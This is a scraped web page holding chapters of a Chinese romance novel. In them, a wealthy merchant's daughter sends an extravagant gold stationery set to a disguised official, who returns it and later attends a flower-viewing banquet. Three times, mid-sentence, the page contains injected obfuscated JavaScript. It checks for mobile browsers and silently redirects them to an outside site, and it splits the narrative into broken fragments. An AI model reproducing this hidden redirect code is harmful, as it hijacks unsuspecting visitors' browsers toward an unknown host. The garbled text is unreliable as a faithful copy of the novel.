他一边说,一边仔细观察谢枕川的表情,却发现他并未如自己所想露出贪财的表情,反倒是面色平静,一脸镇定。 哼,倒是挺会装模作样的,一会儿打开木盒,看你还装不装得下去。 虽不知是哪一种可能,谢枕川仍是从容不迫道:“不知你家主人是?” 邱掌柜连忙摆手,“我家主人不愿透露身份,赠礼只愿公子金榜题名,青云直上,暂且聊表诚意。” 他一边说着,一边打开了盒盖,露出一片金云来,等着看这位谢公子被金钱所惑的丑态。 饶是清贵如谢枕川,也很少见这样的场面,不禁怔愣了一瞬。 读书人多好风雅,自命不俗,不以黄金为贵,这样珠光宝气的文房四宝他也是第一次见。若说俗气,雕刻工艺浑然天成,珠宝的选用和成色也切近得当;若说雅致……不,任谁也不可能对着这样的四件东西说出这两个字来。 以谢枕川抄家追赃的经验来看,这些东西少说也值几万两银子,也不知自己是惊动了何人,要下这样大的手笔。 他有意要引出幕后之人的身份,不动声色道:“无功不受禄,若是不能说出你家主人的身份,在下是断然不会接受的。” 邱掌柜也有些惊讶,不知是此人当真有些许定力,又或者是在放长线钓大鱼? 定是如此,自家小姐现在不就被他钓成翘嘴了么? 他干脆随口胡诌了个名字,静观谢公子的反应。 谢枕川自忖自己从未听过此人名号,暗暗在心中记下,只当有人雪天送炭,又多了一条线索。 他婉拒道:“多谢好意,只是此物贵重,在下实在担当不起,还是物归原主罢。” 邱掌柜又是一惊,不信这小白脸能够拒绝如此重金诱惑,再次劝说,结果又再次被拒绝。 如此反复三次,他终于有所改观,看来谢公子不仅一表非凡,更视金钱如粪土,品行高洁! 邱掌柜面有愧色,终于袒露了实情,“谢公子,方才那话是我胡说的,实不相瞒,在下是梨记钱庄的掌柜,此番是奉自家小姐之命为谢公子送礼的,你与我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14588332|155400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家小姐本就是青梅竹马,来了应天之后,又对她多有照顾,绝非‘无功不受禄’,还请谢公子收下。” 这位掌柜此次所言应当不假,观那纯金砚台上的一排金绿猫眼石,应是梨家商队南下出海所获,说句大逆不道的话,当朝贡品也未必有此成色。 确认是梨瓷所为,谢枕川只觉得自己额上青筋狠狠跳了一跳,他勉强压下心中翻涌的气性,咬牙道:“不,必,了,就算你留下,我也会亲自送还给她的。” 邱掌柜阅历丰富,自然能够看出这个年轻人的情绪波动。 看来自家小姐也不算是剃头担子一头热嘛,尤其是那“亲自”二字,自己这个老头子还是碍眼啦。 邱掌柜立刻笑眯眯拱手告辞,“那便有劳谢公子了。” 顺利完成任务,他又是驱车一顿疾驰,赶着去了广成伯府告诉自家小姐这个好消息。 “小姐,老奴观谢公子的确是才高行洁,品貌双全,”邱掌柜喜气洋洋道:“他执意不肯受此重礼,说要亲自送还给你,若是他今日当真送还,便证明的确是个可以托付的良人。” 梨瓷丝毫不怀疑谢徵哥哥会把礼物还给自己的,只是她还有些想不明白,“他为什么不愿意收呢,是不喜欢吗?” 邱掌柜仔细想了想谢枕川当时的表情,好像的确称不上喜欢。 他慎重地说出自己的结论,“像谢公子这样的人,自尊心强,心气也高,贸然提及招赘之事,只怕他以为是折辱。小姐不如暂将此事隐下不表,动之以情,徐徐图之,待他非你不可之时,再提此事。” 梨瓷又诚心求教,“那他什么时候会非我不可呢?” 邱掌柜倒是十分乐观,“我观谢公子的反应,应当已经有所动容了,精诚所至,金石为开,相信凭借小姐的才……财貌,这一天不会太久的。” - 已过申时,南玄在书院门口久候,仍未见世子身影,找遍了书院内的讲堂,最后在藏书楼旁的静室找到了。 静室里没有旁人,自家世子正垂眼看着桌上四只木匣,面上有金光浮动。 南玄正疑心自己是否眼花了,他揉了揉眼睛,看清木匣里装的是什么,立刻大惊失色,“这这这……世……公子,这是什么啊?” 谢枕川只觉得自己的耐心和修养已经被梨瓷的反复无常、莫名其妙消耗殆尽了。 他语气微愠,“俗物。” 南玄走近了些,近距离感受这“俗物”所带来的震撼,他看着纯金镂雕的龙凤呈祥、宝石贴片的凤戏牡丹图、金绿猫眼石的连理枝,不由得叹道:“这么大的手笔,京中权贵下聘也未必有此阵仗了。” 谢枕川凉凉扫他一眼,南玄立刻察觉自己说错了话,连忙补救道:“我是说,下聘彩礼也不及此物俗气。公子是从何处得来的?” “广成伯府,梨瓷所赠。” “不愧是梨家千金,出手就是大方,”南玄喃喃道:“上次她在净明寺,一尊菩萨便捐了两万两雪花银,这几匣子,估计只多不少。公子,她不会是把你当菩萨,搁这儿发宏愿来了吧?” 谢枕川微微勾了勾唇,眸中珠辉玉映,“我可不是什么善男信女。” 他声音转而一凛,冷声道:“把东西拿好,回去问个清楚,若她说不出个所以然来,便当贿银处置。” 南玄点头称是,仍旧用那粗布将四个木匣打包好,往上一拎——没拎动,他立刻汗流浃背了。 这几百斤重的东西,他要怎么拿好啊? 15. 归还 送走了邱掌柜,梨瓷满心欢心地等着谢徵哥哥来还礼,可直至日落,也未等来人。 绣春劝道:“许是临时有事耽误了,小姐要不还是先用膳吧,别饿坏了身子。” 天大地大自然是吃饭最大,梨瓷点点头,嘱咐道:“我今晚想吃鸡煲翅。” 因为梨瓷常年要煎药、要忌口,嘉禾苑内有自己的小厨房,她在广成伯府领的例银勉强也就能够用来维持小厨房运转,食材采买都要另从梨家的铺子里记账。 花钱也有花钱的好处,除了薛神医规定的忌口之外,梨瓷想吃什么基本上都能满足。 绣春面露难色,“小姐,小厨房今日去采买的人说,您昨日已经把钱都花光了,这个月铺子里都不能记账了。” 梨瓷这才体会到烽火戏诸侯的严重后果,她垂着脑袋,语气失落,“那算了,有什么吃什么吧。” 好在小厨房的师傅厨艺过硬,硬生生在现有的食材和梨瓷有限的食谱里挑出了三菜一汤,凑够了今日的晚膳。 梨瓷坐在饭厅里慢慢等,只是晚膳还未端来,外面已经传来了通传声,“小姐,谢公子来了。” 听到门外略显沉重的脚步声,她立刻从椅子上坐起来,连蹦带跳迎了出去,“谢徵哥哥,你今日怎么回得这样晚?看到我送给你的礼物了吗?” 一道颀长挺拔的身影大步流星走来,谢枕川面带倦色,甚至比初来应天那日更甚。 “托你的福,”他皮笑肉不笑地应道:“身上带着这样贵‘重’的东西,的确是有些举步维艰。” 他说完这句话,南玄才气喘吁吁地从院门处挤进来,擦了擦一脑门的汗,用最后一点力气把背上的包裹放下。 谢枕川接过包裹,不轻不重地放在桌案上,“物归原主,你最好确认一下。” ……梨瓷这才发现自己好心办坏事了,她连那枚砚台都拿不动,这两人不会是自己带着这么重的东西徒步从小椽山上下来的吧? 她没好意思去看那堆金子,抬起头期期艾艾问,“谢徵哥哥不喜欢吗?” 她话音刚落,南玄立刻腰也不疼了气也不喘了,屏息和绣春一起躲在角落的阴影里,尽量缩小自己的存在感。 那双清透漂亮的眸子一瞬不瞬地看着自己,只是细白的手指绞在一起,暴露了她内心的期待。 谢枕川不留情面道:“华而不实。” 梨瓷的眼睫迅速地垂了下去,轻轻眨了一下,像是扇动羽翼划破水面的玄鸟,漾出一片又一片的涟漪。 她低着头,那片水面似乎下一秒就要落雨了。 谢枕川停顿片刻,又勉强道:“不适合我,而且太贵重了,你还是拿回去吧。” 听到这句话,南玄又悄悄地开始呼吸了,也不知世子还记不记得自己今晚是要来此地“问个清楚”的。 谢枕川好像真的忘了,只是将四只漆金檀木盒依次打开,展示里面的东西的确动都没有动过,完璧归赵。 梨瓷看都没看,还在契而不舍地追问,“那谢徵哥哥喜欢什么样的礼物?” 谢枕川自然不会给她腐化自己的机会,“什么也不用。” 他避而不答,又吃准梨瓷不会说谎,拿出兄长教导妹妹的语气,循循善诱道:“这套文房四宝所费不菲,谁给你的钱,又是谁教你这样大手大脚地给别人花钱的?” “是自己的钱,我自己的主意,”梨瓷果然老老实实交代了,又努力为自己辩解道:“可谢徵哥哥也不是别人呀。” 她声音清甜,语气坦荡,就这么明目张胆地说出来了。 谢枕川呼吸微微一滞,并未再深究原因,很快又平静道:“财不露白,以后切不可如此了。” “噢,”梨瓷嘟囔了一声,抿着唇,小声自言自语,“明明花掉了我全部的钱送的礼物,结果都不给我机会,也不能提那件事。” 她声音太小,谢枕川只听清了“明明花掉了我全部的钱”这一句,但也能听得出来她语气无比失落。 他笃定梨瓷没有这样高深的演技,而且此事虽有些离谱,但若说是她所为,他又觉得不足为奇了。 谢枕川眼里的笑意转深,语带调侃,“阿瓷的钱还是自己留着罢,我若是不还给你,下个月岂不是要吃酱菜了?” 这下算是踩到她的尾巴了,梨瓷下意识反驳,“才不会呢。” 只是这个月就说不准了。 她开始认真地思考,如果真的要吃酱菜的话该怎么办,也不知道薛神医准不准她吃桂花蜜瓜,甜酱长生果儿呢? 梨瓷脸颊慢慢发红,但还在努力硬撑,“不会的,我有钱,我一晚上吃八个菜呢。” 像是听到了她的话似的,小厨房赶在这个档口送来了晚膳。 一道干银鱼,一道银苗菜,一道八宝豆腐,一道蓉玉节炖骨汤,数量上只有“八个菜”的一半,份量也都是小小一碗,盛在珐琅彩鎏金花口碗里,看上去可怜兮兮的。 谢枕川轻挑了下眉,确定她方才那句“花掉了全部的钱”不是夸张,唇边弧度更深了。 他慢条斯理道:“今日赶路匆忙,还未来得及用饭,若是方便的话,可否留在阿瓷这里用个便饭?” “哦……好。”梨瓷干巴巴地应道。 她还在愁眉苦脸地想怎么圆场,绣春已经很有眼色地大声道:“奴婢去小厨房催菜。” 说得好! 梨瓷用赞许的眼光看着她,又画蛇添足道:“随便做点什么,不用忌口的也行。” 这一句话已经暴露了事实,梨瓷还浑然未觉,脊背挺得直直的,理直气壮地夹了一条小银鱼放到自己碗里。 都已经沦落到要吃干制银鱼了。 谢枕川扫了一眼桌上饭食,难得心善一回,没去抢她的菜,伸手舀了一勺蓉玉节炖骨汤。 小厨房也很给力,用其余的食材炒了几个梨瓷吃不了或者不爱吃的菜,快速地端上桌了。 梨瓷认真吃饭的间隙,偷偷看了谢枕川一眼,他似乎对先前的菜都不太感兴趣,只动手夹了后端上来的那几个菜。 虽然家道中落,他的吃相仍然十分优雅,修长的手指持握着玉箸,动作轻敏而细致,无论是盛汤还是吃饭,从始至终未发出一丁点儿声响。 食毕,谢枕川起身与梨瓷告辞,回了自己的方泽院。 北铭拿着厚厚一叠卷宗,兴奋地在书房里踱步,见大人回来了,立刻邀功道:“大人,此案有重大进展。” 辛苦了一天,南玄已经听不得这个“重”字,几乎没瘫倒在地。 谢枕川也没说话,只摆了摆手,示意自己要沐浴更衣。 两人在净室外候着,北铭悄悄问道:“大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14607753|155400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人这是怎么了?” 南玄这会儿恢复了力气,叹道:“今日我算是开了眼了,那表小姐梨瓷,送了世子一件大礼,一套纯金打造的文房四宝!” 他一边说,一边伸手比划出各种形状:“……三百多斤的金子,我和世子两人,从小椽山上一路抬下来,为了符合身份,连驴车都没舍得租,可把我累够呛。” 北铭不太相信,“平日训练,你连五十斤的负重都背不起,今日是怎么做到的?” “你不懂,”南玄眉飞色舞道:“这么大一块的纯金砚台,上面镶的猫眼石比我手指头都大,绿莹莹的,反射着金光,可好看了。别说三百斤,就算是五百斤,我也能为世子背回来!” 北铭的确不懂,所以清醒得更快,他提高警惕道:“我还是觉得这位表小姐不怀好意,这能收吗?” 想起方才那炫目的金光,南玄不免有些心神恍惚,“有什么不能收的,她又不知道咱家世子的身份。” 净室中水声已停。 南玄立刻恢复了理智,正色道:“世子自然是不为所动,高风亮节地送回去了。” 谢枕川已经沐浴更衣完毕,他一边系上外袍,一边道:“说吧,什么进展。” “上次您说的那位举子朱修金,我们以他的关系脉络去查,已经搜集了三十多名同届举人的身份信息,多半都是淮扬官员或富商之子,只是官学之中关于这些人的课业卷宗全都不知所踪了,去询问夫子或同窗,他们也不敢说。” “不必为难他们,先想办法暗中查探淮安盐运分司的账目,”谢枕川沉吟片刻,又道:“听闻近日靖德侯府要办赏花宴,这朱修金可在应邀之列?” “大人如何得知?”北铭一脸惊讶,“确有此事,这朱修金今日出入了三处绸缎庄,便是要为自己制一身赴宴的行头。” “这可就巧了,”谢枕川脸上浮现出意味深长的笑意,“因为我也要去。” “昨日周则善与我在书院相见,邀我与广成伯府众人同赴赏花宴,说我初来乍到,应多出来走动走动,结交些志同道合之友。” 北铭不禁有些茫然,“莫非朱修金只是一个诱饵,世子怀疑广成伯?” 谢枕川并不以为意,“不管他的立场是真是假,至少眼前的线索是真的,宴后自然能知他用意为何。” 他将北铭带来的卷宗略翻了翻,记住了几个紧要的名字,转身去了卧房,“如若无事,就先退下吧。” 南玄还是第一次见世子这么早就要就寝,看来今日的确是劳累了。 他赶紧跟上,一边服侍世子就寝,一边道:“对了,世子,还有一桩不值一提的小事。奴才今日去了集贤书斋,掌柜的告知,您的那幅画已经卖出去了。” “这么快?”谢枕川有些惊讶,“卖了多少钱?” “五十文,”南玄看着世子脸上没什么表情,赶紧又添了一句,“掌柜的还说您画得特别好,这只是第一幅,只要您画,以后自然会涨的。” 谢枕川也略懂一些民间卖画的行情,知道掌柜的说的是实话,对价格并不在意,只点点头,示意他知道了。 只挂了半天就卖出去了,虽然价格略低了些,但还是顺利得有些不可思议。 他抬手拂灭桌上烛火,脑子里忽然冒出一个奇怪的念头:此事不会又与梨瓷有关吧? 16. 赴宴 谢枕川在书院过了几天无人打扰的清闲日子,直到十五这日,书院放了旬假。 方泽院里,南玄正在为世子布早膳。 桌上只有一碗素面和一道小菜而已,不过熬汤与小炒的做法都与民间不同,就连这看似普通的面条,都是选用上好的雉鸡、鲈鱼、丹虾拆骨晒干,与鲜笋、香蕈等食材研磨成极细的末,再以鲜汤和面而成,至于这面汤就更别提了,御膳房里提出来的高汤,从京城送来应天的路上也一直拿小火吊着。 早晨的薄雾还未散,南玄干脆将用膳的地点搬到了院内竹林外,此处正好安置了一张竹制方桌,四张竹凳,可供宴饮。 院内细流涓涓,最近又补种了绣墩草,小桥斜卧其上,碧竹疏植其间,大片大片金色的阳光和郁郁葱葱的碧竹交织,像极了镶着金绿猫眼石的黄金砚台。 不对,什么黄金砚台。 南玄晃了晃自己被金钱冲昏了的头脑,赶紧摆正桌案上的碗筷,正要去请世子用饭,已经听到了轻快的脚步声,他扭头一看,果然是梨瓷。 知道拦不住,如今连方泽院的门房都不拦她了,在这里出入自如。 因为巳时便要赴赏花宴,梨瓷和两位表姐都起得特别早,换了一身嫩鹅黄莲花纹软烟罗花间裙,垂挂髻上是白玉嵌珠翠玉簪,因她不爱抹粉,随意妆点两下便出门了,空出来的时间便被她用来串门。 她怀中抱着一只素面无漆的竹编木匣,面上脂粉未施,只点了一枚金蝉钿,衬得她格外清丽脱俗。 南玄估量了一下了那只木匣的尺寸,立刻就懂事起来,“梨姑娘,是来寻我家公子的吗?” 梨瓷点点头,鼻子尖微微动了动,她还在院门口的时候,便闻到香气了。 “您在此处稍候片刻。”南玄的笑容十分热情,赶紧进去请世子去了。 谢枕川来到院中时,梨瓷已经自来熟地挑了一张竹凳坐下了,她一手抱着那只竹匣,另一手托腮撑在桌上,一本正经地看着眼前的素面,表情认真得像是在数面碗里的葱花。 “阿瓷怎么来了,”谢枕川在她对面坐下,先发制人将面碗移到自己面前,再装作不经意地与她寒暄,“没吃早饭?” “吃了一点点,”梨瓷放开那只木匣,单手比出一个小小的圈来,声音饿得软软的,“今日的束腰太紧了,泠姐姐说不能多吃。” 她今日别了翠微色云锦宽腰封,袖口处也缝制了同色缠枝纹,轻薄飘逸的衣袖随她动作自然滑落,露出一小节纤细白嫩的手腕,正如她腕上那只白细纯净、泛出微微光泽的羊脂白玉镯。 拥有这样一只油润昂贵玉镯的主人,同样也拥有一只松子兔一样的食量,虽然吃不了多少,却总是想要吃东西,也要连吃带拿地往自己的树洞里带回一些松果,实在是…… 有些贪心。 谢枕川薄唇微勾,像是压抑住了什么情绪,让南玄取了一副碗筷来,伸手从面碗里为她盛出小半碗面。 “汤好鲜啊,”梨瓷又吸了吸鼻子,得寸进尺道:“葱花好看,多舀些葱花。” 谢枕川持握汤勺的手微微一顿,依松子兔所言照做。 一大一小两只面碗,此刻整整齐齐地摆放在桌案上,汤头清澈而醇厚,金黄色的油花轻轻漂浮其上,与点点翠绿的葱花相映成趣,中间是一碟鲜拌莼菜笋,色泽鲜亮,香气扑鼻。 梨瓷迫不及待地夹了一筷子面条咬了下去,这面擀得恰到好处,既不过分软糯,也不失筋道,混合着鲜美的汤汁融入味蕾,那双圆亮的眼睛立刻满足地眯了起来,像是弯弯的月牙。 一大碗面条,两人很快就吃完了,南玄清理了桌面,又沏了浓茶来为两人净口,站在一旁候着没有走。 梨瓷“啊呜”一口吐掉苦涩茶水,终于想起来还有桌上的木匣。 她将木匣推到谢枕川面前,“谢徵哥哥,送给你。” 谢枕川微微眯起了眼睛,“这次又是什么?” 梨瓷打开匣子,“是先前的墨锭。” 那五色墨锭是作画专用的画锭,颜色鲜亮,雕画巧妙,模刻细腻,即便没了镶金嵌玉的包装,也依然价值不菲,美不胜收。 谢枕川想起先前那个莫名其妙的念头,神使鬼差问道:“你为何要制画锭?” 梨瓷懵懵懂懂道:“因为曹先生说,这样做的画锭比徽墨更贵,更显诚意。” 常言道“情义无价”,在她这里却是“价高者得”。 谢枕川还是第一次如此明确地得知自己的价值,三万两的诚意,不可谓不重了。 他又生出逗弄这只小松子兔的心思来,语气玩味道:“你还送过更有诚意的礼物吗?” “自是有的,”梨瓷点点头,“我爹爹、娘亲的生辰,外祖、外祖母的大寿,还有我兄长及冠的贺礼、今年泠姐姐的及笄礼……” 谢枕川的表情瞬间冷了下来,不等她细声细气地数完,便道:“还是不必了,我平日不过是读书习字,用不着这些。而且无功受禄,实在是内心惶恐。” 梨瓷只好说了实话,“我已经把上次的礼物拿去退了,其余的都抵了银子,只有纸和墨是特制的,一连几日都没有人收,我本来是用来自己写课业的,但是课业交上去,岑夫子说我是暴殄天物,不如送给有缘人。” 虽不知自己从何而生出些许气闷,但作为梨瓷的一日之师,谢枕川亦有些感同身受,他有幸未见到梨瓷新作的课业,不过从昔日那篇《论入赘之裨益》仍可见一斑。 他伸手将木匣接了过来,看着那块边缘略不规则的石青画锭,暂先收了下来,等此案了结之后,再行回礼便是。 闲置的画锭已经送出去了,梨瓷见时间也差不多了,便起身告辞,谢枕川受人钱财,少不了要送她一程。 竹林间溪水缓缓流淌,发出淙淙之声,两人沿桥过溪,梨瓷好奇地看着溪边新长出来的绣墩草,一不留神脚下一滑。 谢枕川站在她身后,瞧准她最多踉跄半步,并未伸手去扶。 溪水清浅,桥面未设栏杆,梨瓷下意识地抓住了离她最近的东西——谢枕川的袖袍。 因今日要赴宴,他换了一件雪青色弹墨藤纹扁丝绢圆领袍,依旧是特意做旧的款式,得体又不会太过隆重,正好符合谢徵的身份。 只听得“呲啦”一声,袖口从弹墨藤纹处断裂开来。 梨瓷果然没有摔倒,此刻呆呆地捧着手里的布料,一脸无辜,“谢徵哥哥,你的袖子掉了。” 说得好像是它自己掉的一样。 谢枕川面无表情,甚至开始反思自己是不是适应能力太好,以至于如今已经习以为常。 梨瓷把手里的一圈雪青色扁丝绢捧到谢枕川面前,语气难得地心虚,“要不我让绣春来帮你补补吧,她母亲原是宫里的绣娘,手艺很好的,保准一点儿也看不出来。” 若说先前谢枕川还有所怀疑梨瓷的用心,此刻他已经看出来了,用不用心并不重要,重要的是此女的确天克自己,若是不答应,指不定还要惹出什么乱子。 他深深地吸了一口气,回房换下了外袍。 - 原本充裕的时间因为梨瓷的闯祸而变得紧张起来,等她带着绣春匆匆赶来坐在马车上的时候,已近巳时了。 去往靖德侯府的路上,梨瓷有一搭没一搭地听着两位表姐聊天,这才明白了今日赏花宴的用意。 靖德侯府祖上便随先帝建功立业,还未迁都时便在此处封爵,势力根深蒂固,应天权贵都少不得要卖他三分薄面,此次赏花宴,虽是靖德侯府惯例,但也存了为府上嫡孙女——亦是淳表姐的小姑子茅凝琴相看夫婿的打算。 不过这些都跟梨瓷没什么关系,周泠见她不感兴趣,就挑了些紧要的嘱咐,梨瓷也记了个大概,总之就是姐姐笑她就跟着笑,姐姐行礼她就跟着行礼,不求出彩,但求挑不出错儿就行。 不多时,马车便停在了靖德侯府巍峨府门之前,此刻门庭若市,客人差不多都已经到齐了。广成伯府作为亲家,少不得要去老夫人那里见礼。 这样的宴席虽然隆重,但还请不动广成伯夫人亲自前往,领头的自是府里的大夫人孙氏,孙氏思女心切,并未与几个姑娘多说什么,只顾着往正堂里去。 一行人赶到正堂时,里面几乎都已经坐不下了,正中间则是一位身着酱紫色蝙蝠纹刺绣袍的老夫人,年纪看起来比梨瓷的外祖母还要大些,慈眉善目的,至于堂中的其他女眷,梨瓷更是一个也不认得。 孙氏一眼瞧见了女儿周淳,见她比未出嫁时稍瘦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630216|155400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了些,好在面上红润,又穿金戴银的,不像受了苛待的样子,心下稍安,带着三位姑娘与老夫人见礼。 梨瓷虽是第一次参加这样的宴会,但也丝毫没有露怯,跟着两位姐姐给老夫人请安。 茅老太太一眼便瞧见了梨瓷,连连笑着招手示意她过来。 今日来赴宴的年轻姑娘不少,论穿着论打扮,梨瓷都算不上出挑的,但她往那里一站,还未多说什么,已经凭借乖巧的笑容和甜美的脸蛋获得了一众老中年妇人的喜欢。 梨瓷乖巧上前,任老夫人拉着自己的手,亲热道:“小姑娘生得真好,是府里头筠丫头的女儿吧?” 她说的是梨瓷母亲周澄筠的名字。 孙氏点头笑道:“老夫人记性真好,阿筠嫁到山西都是十几年前的事儿了,难为您还记挂着。” 茅老太太也笑,“女儿肖母,当年筠丫头的长相便是顶顶好的,我心里喜欢得紧,没想到她的女儿出落得还要好,让人瞧了便心生欢喜。” 梨瓷感受到老太太的善意,虽未说话,但也乖乖地笑了,脸上红晕像是缓缓化开的糖玫瑰,笑得人心里像是吃了蜜一样甜。 孙氏赶忙道:“老太太客气了,那还是凝琴更胜一筹。” 她话音刚落,场面便有一瞬间的凝重。 梨瓷这才看到老夫人身后还站了个和自己年纪差不多大的年轻女子,周滢悄悄冲她眨了眨眼,示意这便是靖德侯府的嫡孙女茅凝琴。 也怪不得一时没人说话,茅凝琴今日穿了身鹅黄唐褙子配石榴裙,头戴一整套闹蛾金银珠花树钗环,颜色和配饰都比梨瓷这一身更为夺目,但不知怎么的,众人的眼睛看到梨瓷之后便移不开了。 美人大抵就是这样,说不出来她哪儿好,偏生就是觉得无一处不好。 仍有机灵些的出来赶着道:“是啊,琴丫头的模样可称得上是咱们应天府头一份的,不仅貌美,品行也是一等一的,谁见了不说声好。” 茅凝琴也在打量着梨瓷,不过是身量比自己高些罢了,皮肤虽白,但听周淳说是个病秧子,还敢和自己撞了衣裳的颜色,一看便不懂规矩。 她有意将下巴仰得高高的,客套的笑意也掩饰不住她眼中的轻蔑之意。 “我瞧着都好,”老夫人出声打了个圆场,“行了,还是年轻人才能玩到一处,咱们这些老婆子也莫拘着她们了,淳儿,你带着几位妹妹多说说话,日后也好亲近。” “是。” 周淳端庄贤淑地应了一声,亲亲热热地领着四位姑娘出去了。 正午太阳正烈,靖德侯府的花园内却是绿树成荫,凉风习习,带来荷香阵阵,那片占地近千亩的镜湖就坐落在侯府的中心位置,湖中荷花竞相绽放,争奇斗艳,皆是南诏雪峰、金屋拥翠、叠羽望舒之类的名贵品种,期间有水鸟掠过水面,泛出点点涟漪,又偶有几只蜻蜓点水,更添几分生动,不负赏花宴的盛名。 周淳领着四人穿过飞虹廊桥,又到了凝香堂,此处四面长窗透空,可从内眺望窗外湖光山色,仿佛展开长幅画卷,一面是停泊于岸边的旱舟,斜倚苍松绿竹,野趣横生;一面是铺展开来的辽阔水域,菡萏高出水面,亭亭玉立;一面是两座巍然耸立的假山,将湖面拦截为南北两部分,阻隔视线;一面则是廊桥曲折跨水,与山上亭榭倒映水中,错落有致。 梨瓷看不懂园林造景,只在心里想着这南诏雪峰的莲蓬是否要格外鲜甜些。 周淳在几位姑娘中年纪最长,又是两边都沾着亲,自然便担负起了说话牵线的任务。 “这位是凝琴妹妹,是咱们府上的独一个的嫡孙女儿,上个月已经满了十六了。” “这位是周淳妹妹,是我二伯家的嫡女,年纪比你小几个月。” “这位是周泠妹妹,是我的庶妹,年纪与你差不多大。” 她装作记不得的样子笑问周泠,“泠妹妹,你如今几岁了?” 周泠轻声应道:“我应是比凝琴妹妹大一个月。” “瞧我这记性,最近在与母亲学着掌管中馈,杂务颇多,竟是连你的生辰都忘了,”周淳捂着嘴笑,正要伸手去褪腕上的镯子,却像是心有余悸一般瞧了梨瓷一眼,最后硬生生忍住了,悻悻道:“回头再把生辰礼给你补上。” 17. 第 17 章 周泠勉强也笑了笑,“多谢淳姐姐,心意我收到了,礼物便不必了。” “那怎么能行呢,你虽是庶出,到底也是我的妹妹,又是及笄的大日子,礼物是一定要的。” 周淳假意在说礼物,实际上一口一个“庶出”,巴不得整个应天的人都知道有“才女”之称的周泠出身有多低微。 她又转头看向梨瓷,介绍道:“阿瓷是我们的表妹,这两年一直借住在广成伯府,明年八月便及笄可以议亲了。” 听到自己的名字,梨瓷这才从湖里的莲蓬回过神来,胡乱点了点头。 周淳这话说得颇有深意,在待嫁之前挑个门第高家风好的亲戚借住两年,存的是什么心思,已是路人皆知了。 茅凝琴拉长声音“噢”了一声,心中越发鄙夷。 不过是仗着自己长了张狐媚脸,便想着飞上枝头当凤凰。 周淳再未多说什么,跟着茅凝琴笑了笑,颇有些惺惺相惜的意味。 她领着众人往廊桥上去,指着游船后的那片竹林道:“今日朴园那边设了曲水流觞,正在赛诗呢,妹妹们可要过去看看?” 时下雅集风气正盛,靖德侯府特意邀了宾客结赛诗会,若是留得诗篇传世,也算是不负湖中芙蓉。 一行人很快来到了一处凉亭旁,已有提着花篮的侍女候着,为每位步入赛诗会的宾客发放一朵莲花。 篮中莲花开得正盛,粉白相间,摇曳生姿,已有清香扑鼻而来,莲花宛若玉盘,花茎上做过标记,圈有一枚银环。 茅凝琴自然是第一个拿的,她自然不会要这篮子里的庸脂俗粉,而是拿了一朵特意为她留的金陵凝翠——与她的衣裳同色。 便是赠花,她也应是独一份。 周淳与周滢随意挑了一朵。 周泠挑了一朵粉的,小声为梨瓷介绍道:“这是计票用的,若是赛诗会上有你喜欢的诗词,便投一朵花,得花最多者便是此次诗会的头筹。” 提着花篮的侍女笑盈盈道:“姑娘若是喜欢,也可以拿一枚银环自己去摘,只要做过标记,都是算数的。” 梨瓷瞧着花蕊中已经冒出了小小的莲蓬,顿时起了兴趣,只要了一枚银环。 凉亭不远处立着一块巨石,写有“曲水邀欢处”五个大字,那里便是赛诗会的会场了。 曲水绕石而过,一侧有琴童焚香,丝竹管弦阵阵,侍女引着她们在屏风后落座。 梨瓷随意挑了一处坐下,一抬头,发现对面正好是前来赴宴的谢徵哥哥。 她歪着头看过去,悄悄朝他眨了眨眼。 谢枕川懒懒瞥去一眼,他坐在背光处,眼眸漆黑深邃,笑意也显得浅淡。 掌坛人击缶,悠悠道:“此场以‘荷’为咏,时间以一炷香为限,限韵下平七阳。” 欢快的旋律过后,盛满酒液的酒樽已经停了下来。 梨瓷略有些好奇地望过去,发现是停在一个穿着华贵、颇有些眼熟的男子面前。 朱修金今日特意捯饬过,勉强也算是人模人样了,可惜尖嘴猴腮的长相还是拉低了他的气质。 他虽然胸无点墨,但对诗会做足了准备,花重金请人押题、写诗,又提前背好,为的就是在今日赛诗会上一鸣惊人,夺得靖德侯府的青睐。 朱修金刚要开口,正巧看见了对面手持一朵鹅黄莲花的茅凝琴,怎么那天那个多管闲事的貌美小娘子也在? 他顿时心猿意马起来,正好叫她们一起领略本公子的风采! 监场刚一开始燃香,朱修金便清了清嗓子,洋洋得意背出提前准备好的诗篇,在场的还有几个他的狐朋狗友,立刻起哄地鼓掌叫好起来。 “好吵啊,”梨瓷捂住耳朵,小声问周泠,“泠表姐,这首诗写得很好吗?” 周泠点点头,“这首诗结构工整巧妙,读来幽清明净,虽有些不合题意,但能在一炷香的时间内作成,已是极为难得了。” 